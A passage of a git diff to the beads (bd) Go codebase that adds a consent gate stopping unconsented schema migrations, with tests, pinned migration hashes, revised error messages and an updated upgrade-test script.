commit, bd vc commit) that continues past this refusal. The +// commit needs no migration, and MigrateUp refused before any write, so it +// runs on the current schema; the migration still waits for consent. Both +// storage modes print it (embeddeddolt's openWorkingSetReconcile, server +// mode's LenientOpen). +func (e *MigrateConsentError) WorkingSetWarning() string { + return fmt.Sprintf( + "Warning: %s.\n"+ + " Working-set reconcile command: continuing on schema v%d without\n"+ + " migrating; the commit applies to the working set at the current schema.\n"+ + " To upgrade this database afterwards (one-way): bd migrate schema\n", + e.Refusal(), e.CurrentVersion) +} + +// IsMigrateConsentError reports whether err (or any error it wraps) is a +// *MigrateConsentError. +func IsMigrateConsentError(err error) bool { + var e *MigrateConsentError + return errors.As(err, &e) +} + +// checkMigrateConsent refuses an unconsented migration of an existing +// database. Called at the top of MigrateUp, before any write (dolt_ignore +// seeding included). Returns nil for a fresh database (version 0), a database +// with no pending main-sequence migrations, or when consent was given. +func checkMigrateConsent(ctx context.Context, db DBConn) error { + if localMigrateConsent || forceAllowRemoteMigrate { + return nil // programmatic consent — skip the version reads entirely + } + current, err := mainSource.currentVersion(ctx, db) + if err != nil { + return fmt.Errorf("migrate consent: read current version: %w", err) + } + if current == 0 { + return nil // fresh database — creating it is consent for its schema + } + pending, err := mainSource.pendingVersions(ctx, db) + if err != nil { + return fmt.Errorf("migrate consent: read pending versions: %w", err) + } + return migrateConsentDecision(current, len(pending)) +} + +// migrateConsentDecision is checkMigrateConsent's pure decision core: nil when +// nothing is pending or consent was given (programmatic or env), a typed +// *MigrateConsentError otherwise. current is known to be > 0 here except when +// callers short-circuit earlier; a zero current is still treated as consent +// (fresh database). +func migrateConsentDecision(current, pending int) error { + if current == 0 || pending == 0 { + return nil + } + if localMigrateConsent || forceAllowRemoteMigrate { + return nil + } + unrecognized := "" + for _, env := range []string{AllowMigrateEnv, AllowRemoteMigrateEnv} { + v := os.Getenv(env) + if v == "" { + continue + } + allowed, perr := strconv.ParseBool(v) + if perr != nil { + if env == AllowMigrateEnv { + unrecognized = v + } + continue + } + if allowed { + fmt.Fprintf(defaultStderr(), + "Applying %d pending schema migration(s) (%s=%s): v%d -> v%d\n", + pending, env, v, current, LatestVersion()) + return nil + } + } + return &MigrateConsentError{ + CurrentVersion: current, + LatestVersion: LatestVersion(), + Pending: pending, + UnrecognizedEnv: unrecognized, + } +} diff --git a/internal/storage/schema/migrate_consent_test.go b/internal/storage/schema/migrate_consent_test.go new file mode 100644 index 000000000..40e75b08d --- /dev/null +++ b/internal/storage/schema/migrate_consent_test.go @@ -0,0 +1,164 @@ +package schema + +import ( + "errors" + "os" + "strings" + "testing" +) + +// TestMain grants migration consent for the whole package: the MigrateUp +// machinery tests exercise what runs BELOW the consent gate, exactly as +// production does once an operator has consented. The consent tests below +// clear the grant themselves via resetConsentState. +func TestMain(m *testing.M) { + SetLocalMigrateConsent(true) + os.Exit(m.Run()) +} + +// resetConsentState clears every consent source for one test case (undoing +// TestMain's package-wide grant) and restores it afterwards, so consent tests +// see a clean slate and machinery tests keep their grant. +func resetConsentState(t *testing.T) { + t.Helper() + SetLocalMigrateConsent(false) + SetForceAllowRemoteMigrate(false) + t.Cleanup(func() { + SetLocalMigrateConsent(true) + SetForceAllowRemoteMigrate(false) + }) + t.Setenv(AllowMigrateEnv, "") + t.Setenv(AllowRemoteMigrateEnv, "") +} + +func TestMigrateConsentDecision_FreshDB_Allows(t *testing.T) { + resetConsentState(t) + if err := migrateConsentDecision(0, 12); err != nil { + t.Fatalf("decision = %v, want nil for fresh database (current=0)", err) + } +} + +func TestMigrateConsentDecision_NothingPending_Allows(t *testing.T) { + resetConsentState(t) + if err := migrateConsentDecision(LatestVersion(), 0); err != nil { + t.Fatalf("decision = %v, want nil when nothing is pending", err) + } +} + +func TestMigrateConsentDecision_PendingNoConsent_Refuses(t *testing.T) { + resetConsentState(t) + err := migrateConsentDecision(53, 12) + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("decision = %v, want *MigrateConsentError", err) + } + if consentErr.CurrentVersion != 53 || consentErr.Pending != 12 { + t.Fatalf("error fields = v%d/%d pending, want v53/12", consentErr.CurrentVersion, consentErr.Pending) + } + if !IsMigrateConsentError(err) { + t.Fatalf("IsMigrateConsentError(err) = false, want true") + } + msg := consentErr.UserMessage() + for _, want := range []string{"bd migrate schema", AllowMigrateEnv} { + if !strings.Contains(msg, want) { + t.Fatalf("UserMessage missing %q:\n%s", want, msg) + } + } +} + +func TestMigrateConsentDecision_LocalConsent_Allows(t *testing.T) { + resetConsentState(t) + SetLocalMigrateConsent(true) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with local consent set", err) + } +} + +func TestMigrateConsentDecision_ForceOverride_Allows(t *testing.T) { + resetConsentState(t) + SetForceAllowRemoteMigrate(true) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with the migrate --force override set", err) + } +} + +func TestMigrateConsentDecision_EnvConsent_Allows(t *testing.T) { + for _, env := range []string{AllowMigrateEnv, AllowRemoteMigrateEnv} { + for _, v := range []string{"1", "true", "TRUE"} { + t.Run(env+"="+v, func(t *testing.T) { + resetConsentState(t) + t.Setenv(env, v) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with %s=%s", err, env, v) + } + }) + } + } +} + +func TestMigrateConsentDecision_EnvFalse_Refuses(t *testing.T) { + resetConsentState(t) + t.Setenv(AllowMigrateEnv, "0") + if !IsMigrateConsentError(migrateConsentDecision(53, 12)) { + t.Fatalf("want refusal with %s=0", AllowMigrateEnv) + } +} + +func TestMigrateConsentDecision_UnparseableEnv_RefusesWithHint(t *testing.T) { + resetConsentState(t) + t.Setenv(AllowMigrateEnv, "yes-please") + err := migrateConsentDecision(53, 12) + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("decision = %v, want *MigrateConsentError", err) + } + if consentErr.UnrecognizedEnv != "yes-please" { + t.Fatalf("UnrecognizedEnv = %q, want the unparseable value surfaced", consentErr.UnrecognizedEnv) + } + if !strings.Contains(consentErr.UserMessage(), "yes-please") { + t.Fatalf("UserMessage does not surface the unparseable env value:\n%s", consentErr.UserMessage()) + } +} + +// TestMigrateConsentError_AgentSurfacesNameNoRemedy pins the #4259 directive +// convention cmd/bd's JSON refusal is built on: Refusal and AgentDirective are +// the top-level fields an agent reads, so neither may carry a runnable +// migration or a consent env var; the migrate command lives only in the +// operator-gated "migrate" option. +func TestMigrateConsentError_AgentSurfacesNameNoRemedy(t *testing.T) { + e := &MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + for name, s := range map[string]string{"Refusal": e.Refusal(), "AgentDirective": e.AgentDirective()} { + for _, unwanted := range []string{SharedConsentCommand, "BD_ALLOW"} { + if strings.Contains(s, unwanted) { + t.Errorf("%s carries %q:\n%s", name, unwanted, s) + } + } + } + opts := e.Options() + if len(opts) != 2 || opts[0].ID != "migrate" || opts[1].ID != "keep" { + t.Fatalf("Options = %+v, want exactly migrate then keep", opts) + } + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != SharedConsentCommand { + t.Errorf("migrate option commands = %q, want [%q]", opts[0].Commands, SharedConsentCommand) + } + if len(opts[1].Commands) != 0 { + t.Errorf("keep option commands = %q, want none", opts[1].Commands) + } +} + +// TestMigrateConsentError_WorkingSetWarning pins the warning a +// working-set-reconcile open prints when it continues past the refusal: it +// states the refusal and that the commit runs on the current schema, and it +// never offers the consent env var as the way forward. +func TestMigrateConsentError_WorkingSetWarning(t *testing.T) { + e := &MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + w := e.WorkingSetWarning() + for _, want := range []string{e.Refusal(), "Working-set reconcile command: continuing on schema v65 without"} { + if !strings.Contains(w, want) { + t.Errorf("WorkingSetWarning missing %q:\n%s", want, w) + } + } + if strings.Contains(w, "BD_ALLOW") { + t.Errorf("WorkingSetWarning offers a consent env var:\n%s", w) + } +} diff --git a/internal/storage/schema/migration_freeze_test.go b/internal/storage/schema/migration_freeze_test.go new file mode 100644 index 000000000..678762e11 --- /dev/null +++ b/internal/storage/schema/migration_freeze_test.go @@ -0,0 +1,183 @@ +package schema + +import ( + "crypto/sha256" + "encoding/hex" + "io/fs" + "testing" +) + +// Migration freeze (Beads 1.2 release remediation). +// +// Migrations 0001–0066 (and ignored/ 0001–0026) are SHIPPED: the 1.2.x +// releases published schema v65 to thousands of installs and the 1.3.x +// releases added 0066 and ignored/ 0025–0026, so these files are now the +// de-facto on-disk contract of every migrated database. Amending a shipped +// migration forks installed schemas from freshly-migrated ones — the exact +// skew the smart gate's fork-skew detection exists to catch at runtime. This +// test catches it in CI instead: the content hash of every shipped +// up-migration is pinned; any change must land as a NEW migration, numbered +// after the newest file in its directory. When a release ships new +// migrations, raise the floors below and pin their hashes. +// +// If this test fails because you edited a shipped migration: revert the edit +// and write a new migration. There is no legitimate reason to update a pinned +// hash for an already-released version. + +const ( + frozenMainThrough = 66 + frozenIgnoredThrough = 26 +) + +var frozenMigrationHashes = map[string]string{ + "0001_create_issues.up.sql": "0c9bc4d97e2c5ee5d276c952333b934cd7d7d18210997d6bfd72d17f0fdb14f0", + "0002_create_dependencies.up.sql": "9ca011fa0b24ddf26f689eebf347cc2f80dc90256b099d91b993ec82c4d74da5", + "0003_create_labels.up.sql": "1780f0dc941d97b74af53d5603646d05e83d94eee5a02ac68ccf929200deaec0", + "0004_create_comments.up.sql": "35ac76b3d0b2d6287cad1329c77c8a0562bb6310ba0ac34ae273d72d4bed0e2a", + "0005_create_events.up.sql": "c8cbe4bebbe0f92c8a0ccc2a1a0d11ad442635811c2dab093c34c9341a8499b2", + "0006_create_config.up.sql": "435f5ef129dd4999a9b393c98d633038f0e443280a26e63f7d4315bf025dab1f", + "0007_create_metadata.up.sql": "f92c4d3dd32cae489142de34c4706900736c91cdc53b0d54e87e71656b828dc9", + "0008_create_child_counters.up.sql": "99db9b4b5a785ddd209dff628364c4c1eff549c3ca5ec48a64c604b15ef95bfb", + "0009_create_issue_snapshots.up.sql": "269ef83f083766b7f2fd2dfd2814ef36a585ae4aa18bcab0468a713d48595e48", + "0010_create_compaction_snapshots.up.sql": "cb34cbe311fd89a17d72067f449a65089f2fc9a7c4b3774d54448db5ebc3d659", + "0011_create_repo_mtimes.up.sql": "bde5204466541dddb53a652fe58561c08b6b3c1fa7feb38a0a582d432d76bda6", + "0012_create_routes.up.sql": "68e8ef1fc336e8ca6973f6b927b09d3206a7ebd96db9c4cdceab52fb8498c431", + "0013_create_issue_counter.up.sql": "7ddb30dabe32a66197de78f62400f41d000cf43d0ba8ba2a3943536504dddcdb", + "0014_create_interactions.up.sql": "0e17f1cb9fc5ee5a7c43ca8e02b9fd59814f8fd4372f9ffb17b50c34388614ce", + "0015_create_federation_peers.up.sql": "6aa04b3f66566b243c9a4fc09136af5c17f0ffe947a489245e3c451b995a59b9", + "0016_default_config.up.sql": "5d556c01404eb06acfb9df2b20fde36a2e91bd8a7d14462acbd3c0ae928ea286", + "0017_create_ready_issues_view.up.sql": "4bab7acbe2d8e441f156cc5912f421dcb214b9b08d7958eacc8e3a7318ab5f57", + "0018_create_blocked_issues_view.up.sql": "84dc6a3950a5447e6665e3d98b43f11a7631dc4e53bab1be332d135e51c9511f", + "0019_wisps_dolt_ignore.up.sql": "3df660feb6b64c84ef74c408fe8f5840a2815936534362ed123122f795a21c26", + "0020_create_wisps.up.sql": "bca95662441635454b879bb44ca1e607df9c5efd8fd802be3d53a7371a5ced86", + "0021_create_wisp_auxiliary.up.sql": "d19284a2be70a448db7746ae009cb264dc86dac0d9094aae9fe80a713a08ee70", + "0022_wisp_dep_type_index.up.sql": "fc1375e64620cd4264516718d8f924d88131881f4c00c51471b7630c11b74a45", + "0023_add_no_history_column.up.sql": "d11cd7cb462239e49c0b2f9b93ac73771106d5450ebc3422bb7737748c6f967b", + "0024_create_custom_status_type_tables.up.sql": "816da3feeed531ca9787dca8d4b8072dd94b64d573cf4b6751c61f2390c88a68", + "0025_update_ready_issues_view.up.sql": "09782d195f22d620ba41802856f9eb6e1a10f68bc5bcc8f3616624f8c28b576a", + "0026_update_blocked_issues_view.up.sql": "33daef6b5a07364fc5f59ab59b0f5c677dcf98d9bd0866c7c3bea874f1f01348", + "0027_add_started_at.up.sql": "dd3b58a8bbed4c49e855a6002981a285f10b6094938534dd3da9b121155f24d6", + "0028_local_state_dolt_ignore.up.sql": "24a816406a6f40c66db98697869d172b2b4366b107788fdd00f44b99abee45c3", + "0029_create_local_metadata.up.sql": "b989fc49ab03e06ff6520f150d6958efdbd3f444b69b824f7b4bb283ca6f2b65", + "0030_migrate_local_metadata_keys.up.sql": "8d55135274c1c75e722e802b250911cc574d52a4ba74fbb13edde84f30f9b3a4", + "0031_wisp_events_created_at_index.up.sql": "2d5cf3a6d4245b48c1b893efcc17b9fa25f1ea807e61290cf54064451fc58d93", + "0032_drop_schema_migrations_applied_at.up.sql": "42b86d6b7352f7e158532cc67f4afa142dc2503ce9f780733c06fc9da3478751", + "0033_add_wisp_type_column.up.sql": "9256746bb0d6ad9ed9afba0f0501259f0a3599b7d7da507dd7d808a13c688c75", + "0034_add_spec_id_column.up.sql": "7add95ead971c57618cfbc52e5cb6771d872785bfc035bde12cd27a76358848e", + "0035_migrate_infra_to_wisps.up.sql": "f917fe319540155572f5c51618cbbe20ec8b9b669d5926d68e3a62629c317c5a", + "0036_cleanup_autopush_metadata.up.sql": "e55f1870c2bc031c574b495ebca650365a9c8088d7a8968fb86a19cab81267e8", + "0037_uuid_primary_keys.up.sql": "7526beadee13aa7d6ee2175e9a543210b07c1a4426c382f251ebd31eebe32745", + "0038_drop_hop_columns.up.sql": "002dc637d45840487c35a01ce15cee04872baa45c21f8e20170a4339135a38e7", + "0039_drop_child_counters_fk.up.sql": "db65f241d1e82da41f34b960abc912f78b72e7dc1cb6dd2298974308edf8b768", + "0040_ignored_tables_also_nonlocal_tables.up.sql": "c7068d67ad3e2b4852549e04d97f25814121de83db919e220bdcb9bdd9b61e5e", + "0041_split_dependencies_target.up.sql": "e84ef393576df31550570fd3217579b1880850c0645b7d2b6ad8cf55a18ac1c0", + "0042_add_on_update_cascade.up.sql": "9d0fbb3d02955d25442c4a628ac518236068a97ecf164edbc814216bd5a55adc", + "0043_drop_dependencies_generated_column.up.sql": "548b8a69ab82179b7ee7ab3cc87ef00b3ae28d5a3a4976f42364f6939e384668", + "0044_update_views_drop_depends_on_id.up.sql": "531524854cc0e2361817d1ad94ba9470b0e81e378a5422ffb8bce71f3500adf9", + "0045_update_blocked_view_drop_depends_on_id.up.sql": "395dcbf186deedb592d8ed144e0b7953455efa0ccf02076d3b63e5e5d05dc241", + "0046_add_is_blocked.up.sql": "4d6a5a5fc5e386f2c538b4f3574b82fb2ba025176997953a0a4fbd2a91cddf68", + "0047_recompute_mixed_is_blocked.up.sql": "4aff5a7cc2e1e0250ce4cdb911d010c936681871fb627bceee4b2dc4647dd0a1", + "0048_widen_event_value_columns.up.sql": "093c7a41145508879844d16cbe5acfa69baddbb19bf3e05f00bc08720adea657", + "0049_longtext_large_content_columns.up.sql": "3359343efb7c28e5803de07e9088670489615d151843d7f23705f3ca8dd6a1e8", + "0050_dependencies_deterministic_id.up.sql": "96265ff898753f3bb34549fafa18bbaeb67519705b8cf4e32e67f1058df6841a", + "0051_drop_aux_id_defaults.up.sql": "deb741d5ac5fc1e0cd2e60eb47e84f384ed3455b18d3e2f12cb4e935fe461059", + "0052_add_date_indexes.up.sql": "60ae32bc26c41da2e743c1172f73930d18482b8a98aea08b9de85f6009f9c01d", + "0053_repair_rig_wisps.up.sql": "f13909f0db89f48db694a782d1805eee7ee1b2b2e4dcb3d4b12352333cbcb330", + "0054_add_lease_columns.up.sql": "2e51058ba15be9d87415949bb03c2c7c2f0e0743c5ae0d3e819b617d95f61680", + "0055_move_leases_to_table.up.sql": "2237ddbe13f5a783c65da3bb1292d9a5d89a5f22fddb0c33d2db57f1492df22c", + "0056_add_comments_keyset_index.up.sql": "acc28e9b1aa7272c16c86fcb9fd4a2038ae47729a60b53bb75f3a9df05cd3a82", + "0057_events_value_columns_idempotent_longtext.up.sql": "f86e0f77be2e58affe1c485767b8dd450408d782c0413a41948ca0c0b6d72d06", + "0058_heal_wisp_dependencies_split_constraints.up.sql": "9c1c6d557a03e71cf6b49123831c9f5b5f910fcea3ca51e982ec4acce04ea6ec", + "0059_recompute_null_gate_is_blocked.up.sql": "f0186029a1c87d579b67e0540ec22ad0bd0fc59793b07f7d24a24e122b77c394", + "0060_add_storage_class.up.sql": "40419632ba75d92dfcf08e16e77a780f014172a17068f6021937df9086a24588", + "0061_content_derived_aux_ids.up.sql": "d2d65b92789f137da8ee586067c862a9c7744921ccac421e1b793f42050b62a2", + "0062_events_dolt_ignore.up.sql": "c7de6089997344784a71e7d82ea5e417baaf66320b4533d225a4a6bc3c74222a", + "0063_create_provenance_events.up.sql": "1ef173be07ca58d17cb09ba3b3f5ca0c96edfcace8d52ae3adde2fd27e8248bd", + "0064_create_events_journal.up.sql": "25ea9ad8e849dc7e32e7c5850631bedc63a5c5da3bdc58ccb2762fd7a6c758fc", + "0065_widen_wisp_comments_text.up.sql": "c7341bb977daff92e073db2579e63058cef88d43f1e09b13fa153a772caac2a6", + "0066_add_events_journal_actor.up.sql": "a524d42ba0eced9350edbf6402dc2952957ff8f75a896bc8339c4cbc8596c793", +} + +var frozenIgnoredMigrationHashes = map[string]string{ + "0001_create_local_state_tables.up.sql": "a73e9a486124f89e90d50f4597fd1d7ad08e5d0d654459ec87b7520b47f1bb5f", + "0002_create_wisp_child_counters.up.sql": "c575c6710169f2e697f3aca60f5f698acc8a64af0edb1e2305b9d377fd845f45", + "0003_split_wisp_dependencies_target.up.sql": "f82947deeafe589598e2a1802eddf17712bd322692f924bb5653b0fbd5c46a0d", + "0004_add_wisp_aux_fks.up.sql": "12e18a8bdd214d6f96625e78998433ccc9c2d0ef4d1a35307f2653e725c800b9", + "0005_drop_wisp_dependencies_generated_column.up.sql": "08780b28ddef6c15f5de558ea08d821b52610f810555739ee1d737779986c607", + "0006_add_wisp_is_blocked.up.sql": "4746f10d7040d0b7a9e127437356de87765d12d2d27ee37c9800191e6b619d14", + "0007_recompute_wisp_is_blocked.up.sql": "c3c8d92846a54183cc99afc09f779f6f5ba8030c16ce46b3ee750314bf134627", + "0008_widen_wisp_event_value_columns.up.sql": "51375854ec081d2e0b1434b5ff8b6d87092b891636214ebb9f1dbef22438cc1a", + "0009_aux_row_id_rekey_marker.up.sql": "3d1ee4f9dde3342d110474c8090a30c474edafe2290e4372a3fc4607c1fdc030", + "0010_drop_wisp_id_defaults.up.sql": "59d6644667b7e34f9d23261cb694d461ddd4953969e75519d370b0cce8afd0e8", + "0011_cleanup_orphaned_child_counters.up.sql": "0efade0ecb620420ee42127d3f67230da108e31f2ff3c4281855a8dc9e187ecd", + "0012_create_leases.up.sql": "e128a1301a2bcb967f684b09318aa5cf7ed9adb5f6dd7d412de3d67d1de2b28d", + "0013_add_wisp_row_lock.up.sql": "127a4af7012769e5f016b13b198b7a57ff8386a10f8a68ffb9ff204989564d1b", + "0014_add_wisp_comments_keyset_index.up.sql": "29ad3654218700481b9541331c714ecbbe96dc81c04dc83fba6bf8d35bed7fa4", + "0015_recompute_null_gate_wisp_is_blocked.up.sql": "e761d5c3ceb9610edbb2e1d153e82d235cc7d7f0b87f28a45bec43835e6a4e19", + "0016_add_lease_granted_node.up.sql": "31a55421b78d8c90db6cfba5bf8e99e87d6123271575282f761aa077e5d36386", + "0017_add_wisps_defer_until_index.up.sql": "1f031aaf2037280e62cbf604748a4157bf25e3a60b3392af7d74835c5059bdd8", + "0018_aux_row_id_rekey2_marker.up.sql": "3c2120bf55d15e71a9f96972007c3d914154d17ea37a2b51b44412e3e3df6ef1", + "0019_create_events.up.sql": "db072d67a403e60d5bcbe924b84e473adb09f2326d36ede82fcdab17bb1e2a87", + "0020_add_wisp_storage_class.up.sql": "9ff476e6c73a3a477aec95143d5cbf180517a9484f647447392576f13181a015", + "0021_widen_wisp_large_content_columns.up.sql": "3cfa1e07a3d02eb7f791814d9642a93b9af3bf63728943afa05dcb0e489919c8", + "0022_create_events_journal.up.sql": "3d0adcb9f5833b4ba70fb48f88e1043250796feb7173abe000ea4de85eb8b3a5", + "0023_repair_events_journal_shape.up.sql": "d0edd83ca4cfbc46bd17799c6497a70c8c011d130d08a00c71daf792ee1dcd51", + "0024_widen_wisp_comments_text.up.sql": "69a96330e00643dfeddc4bf6ae9bf3b743a3cfddd86f16dc7b8912758b1b570d", + "0025_add_events_journal_actor.up.sql": "c81ca9edc80c25f6ab4f92d05d6ea412a780b108d1ed83745027440e9723dceb", + "0026_dep_rekey_dedup_marker.up.sql": "dc5c1b9a74e42184451796068ecba1ca11d8ebd0fe7e8c4bd4900d0cfee30446", +} + +func verifyFrozenMigrations(t *testing.T, fsys fs.FS, dir string, frozen map[string]string, frozenThrough int) { + t.Helper() + entries, err := fs.ReadDir(fsys, dir) + if err != nil { + t.Fatalf("reading embedded %s: %v", dir, err) + } + seen := map[string]bool{} + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := entry.Name() + version, err := parseVersion(name) + if err != nil { + t.Fatalf("unparseable migration filename %q: %v", name, err) + } + if version > frozenThrough { + continue // not yet released — frozen when a release ships it + } + want, ok := frozen[name] + if !ok { + t.Errorf("shipped migration %s (v%d <= frozen floor %d) has no pinned hash — a released version was renamed or replaced; restore the original file", name, version, frozenThrough) + continue + } + seen[name] = true + content, err := fs.ReadFile(fsys, dir+"/"+name) + if err != nil { + t.Fatalf("reading embedded %s/%s: %v", dir, name, err) + } + sum := sha256.Sum256(content) + if got := hex.EncodeToString(sum[:]); got != want { + t.Errorf("shipped migration %s was AMENDED (hash %s, pinned %s) — shipped migrations are frozen; land the change as a new migration instead", name, got, want) + } + } + for name := range frozen { + if !seen[name] { + t.Errorf("pinned migration %s is missing from the embedded FS — a released version was deleted or renamed", name) + } + } +} + +// TestShippedMigrationsAreFrozen pins the content of every up-migration that a +// release has shipped. See the file comment for the policy. +func TestShippedMigrationsAreFrozen(t *testing.T) { + verifyFrozenMigrations(t, upMigrations, "migrations", frozenMigrationHashes, frozenMainThrough) +} + +// TestShippedIgnoredMigrationsAreFrozen is the ignored-sequence twin. The +// ignored tables are clone-local, so an amendment does not fork synced +// history — but it DOES make freshly-materialized clones diverge from +// long-lived ones, the same class of bug one plane over. +func TestShippedIgnoredMigrationsAreFrozen(t *testing.T) { + verifyFrozenMigrations(t, upIgnoredMigrations, "migrations/ignored", frozenIgnoredMigrationHashes, frozenIgnoredThrough) +} diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 5ca3d2a15..13630f4e9 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -523,7 +523,8 @@ func (e *RemoteMigrateGateError) AgentDirective() string { } } -// GateOption is one conditional remediation path for the remote-migrate gate. +// GateOption is one conditional remediation path for the remote-migrate gate +// (and the migration-consent gate, MigrateConsentError.Options). // It is intentionally conditional (When) and carries its Risk, so an agent // cannot treat any single command as the unconditional fix. type GateOption struct { diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index b9dae90b6..29187c54b 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -269,8 +269,8 @@ type SchemaBehindError struct { } func (e *SchemaBehindError) Error() string { - return fmt.Sprintf("schema version mismatch: database is at v%d, binary expects v%d, and the read-only open cannot migrate it; run any bd write command in that workspace to migrate, or set BD_IGNORE_SCHEMA_SKEW=1 to read anyway (queries touching newer schema may fail)", - e.DBVersion, e.BinaryVersion) + return fmt.Sprintf("schema version mismatch: database is at v%d, binary expects v%d; bd does not migrate a database without explicit consent — run `bd migrate schema` in that workspace to migrate, keep using a bd release that matches schema v%d, or set BD_IGNORE_SCHEMA_SKEW=1 to read anyway (queries touching newer schema may fail)", + e.DBVersion, e.BinaryVersion, e.DBVersion) } // IsSchemaBehindError reports whether err (or any error it wraps) is a @@ -734,6 +734,21 @@ func MigrateUpTo(ctx context.Context, db DBConn, maxVersion int) (int, error) { } func MigrateUp(ctx context.Context, db DBConn) (int, error) { + // Consent gate first, before ANY write — dolt_ignore seeding included: an + // existing database with pending main-sequence migrations must stay + // byte-identical when the operator has not consented (see + // migrate_consent.go). Fresh and already-current databases pass through. + if err := checkMigrateConsent(ctx, db); err != nil { + return 0, err + } + return migrateUpConsented(ctx, db) +} + +// migrateUpConsented is MigrateUp past its consent gate. It exists for the one +// caller whose consent the gate's version test cannot see: an open holding +// fresh-bootstrap heal authority, which proves it created the database it is +// migrating (see MigrateUpWithLock). Every other caller goes through MigrateUp. +func migrateUpConsented(ctx context.Context, db DBConn) (int, error) { // Re-assert the canonical dolt_ignore patterns before anything else, and // in particular before the migrationWorkNeeded short-circuit: a database // whose migration cursors arrived at-latest without executing the seeding diff --git a/internal/storage/uow/team_server_integration_test.go b/internal/storage/uow/team_server_integration_test.go index 2f1df42fc..20615be64 100644 --- a/internal/storage/uow/team_server_integration_test.go +++ b/internal/storage/uow/team_server_integration_test.go @@ -241,7 +241,7 @@ func TestTeamServerMode_Integration(t *testing.T) { require.Error(t, err) assert.Nil(t, p) assert.Contains(t, err.Error(), "bts migrate") - assert.NotContains(t, err.Error(), "run any bd write command", + assert.NotContains(t, err.Error(), "bd migrate schema", "must not suggest bd-driven migration on a bts-owned schema") assert.Equal(t, rolledBack, snapshotMigrations(t, ctx, direct), diff --git a/internal/storage/uow/team_server_schema.go b/internal/storage/uow/team_server_schema.go index d83aca3e1..f91ca3b0d 100644 --- a/internal/storage/uow/team_server_schema.go +++ b/internal/storage/uow/team_server_schema.go @@ -26,7 +26,7 @@ func checkTeamServerSchema(ctx context.Context, conn schema.DBConn, database str case current < latest: // No BD_IGNORE_SCHEMA_SKEW hatch here: it would let a newer bd write // against an older bts schema. Not SchemaBehindError either: its "run - // any bd write command to migrate" advice is wrong for a bts-owned schema. + // `bd migrate schema`" advice is wrong for a bts-owned schema. return fmt.Errorf( "uow: database %q is at schema v%d, this bd expects v%d; the schema is managed by beads-team-server — ask your operator to run 'bts migrate', or use a bd built against schema v%d", database, current, latest, current) diff --git a/internal/storage/uow/team_server_schema_test.go b/internal/storage/uow/team_server_schema_test.go index fb35bcb56..2b866eb23 100644 --- a/internal/storage/uow/team_server_schema_test.go +++ b/internal/storage/uow/team_server_schema_test.go @@ -108,7 +108,7 @@ func TestCheckTeamServerSchema_Behind_RefusesWithBtsMigrate(t *testing.T) { if !strings.Contains(err.Error(), "bts migrate") { t.Errorf("error %q should point at 'bts migrate'", err) } - if strings.Contains(err.Error(), "run any bd write command") { + if strings.Contains(err.Error(), "bd migrate schema") { t.Errorf("error %q must not suggest bd-driven migration on a bts-owned schema", err) } } diff --git a/internal/storage/uow/testmain_test.go b/internal/storage/uow/testmain_test.go index 165b8b644..880451b46 100644 --- a/internal/storage/uow/testmain_test.go +++ b/internal/storage/uow/testmain_test.go @@ -6,6 +6,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/testutil" ) @@ -33,6 +34,12 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { + // Package-wide migration consent: these tests exercise the + // provider/bootstrap machinery that runs BELOW the consent gate + // (schema/migrate_consent.go), exactly as production does once an operator + // has consented. + schema.SetLocalMigrateConsent(true) + // Clear out the roots of earlier runs of this suite whose process is // gone, before claiming one of our own. Roots with no owner marker, and // roots whose owner is still running (a parallel package under diff --git a/scripts/migration-test/historical-dolt-upgrade-test.sh b/scripts/migration-test/historical-dolt-upgrade-test.sh index 927b1388e..9dfb45223 100755 --- a/scripts/migration-test/historical-dolt-upgrade-test.sh +++ b/scripts/migration-test/historical-dolt-upgrade-test.sh @@ -1038,6 +1038,18 @@ run_embedded_dolt_upgrade() { jq -e '.backend == "dolt" and .dolt_mode == "embedded"' "$metadata" >/dev/null || die "$version: source metadata does not select embedded Dolt" metadata_sha=$(sha256_file "$metadata") || die "$version: could not fingerprint source metadata" + # Migration-consent gate (Beads 1.2 remediation): the candidate no longer + # migrates an existing database from ordinary commands, so the explicit + # schema migration is now the FIRST candidate step — previously it ran + # later and was already a no-op because the first candidate open had + # silently migrated. Same effective sequence, now stated. Before + # consenting, assert the gate actually refuses an ordinary command. + if run_in_workspace "$candidate" list >/dev/null 2>"$workspace/consent-refusal.err"; then + die "$version: candidate operated an un-migrated database without consent" + fi + grep -q 'bd migrate schema' "$workspace/consent-refusal.err" || + die "$version: consent refusal did not carry migration guidance" + migrate_schema_current "$version" first verify_surviving_fixture "$version" direct if [ "$version" = v1.0.0 ]; then [ "$(run_in_workspace "$candidate" config get status.custom)" = review:active ] || die "$version: candidate did not preserve custom status config" @@ -1056,7 +1068,6 @@ run_embedded_dolt_upgrade() { blocker=$(sed -n '2p' "$workspace/fixture-ids") run_in_workspace "$candidate" show "$blocker" --json > "$workspace/after-first.json" jq -S . "$workspace/after-first.json" > "$workspace/after-first-canonical.json" - migrate_schema_current "$version" first verify_idempotent_migration "$version" direct run_in_workspace "$candidate" show "$task" --json --include-comments | jq -S . > "$workspace/direct-after-noops.json" @@ -1692,10 +1703,12 @@ run_wisp_plane_upgrade() { # First candidate touch runs the full MigrateUp under the standard per-op # timeout. A dirty-table refusal or a migration error here is the headline - # failure class for this lane. + # failure class for this lane. The migration-consent gate makes an ordinary + # command refuse an un-migrated database, so the explicit schema migration + # is that first touch (as in run_embedded_dolt_upgrade); the open follows. + migrate_schema_current "$version" wisp-first run_in_workspace "$candidate" list 